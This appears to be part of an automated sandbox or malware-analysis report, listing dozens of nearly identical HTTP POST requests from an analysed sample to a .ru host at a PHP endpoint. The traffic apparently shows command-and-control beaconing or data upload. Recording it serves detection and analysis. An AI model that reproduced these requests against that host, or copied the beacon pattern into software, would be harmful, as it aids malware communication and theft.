Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1316Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1300Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1316Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
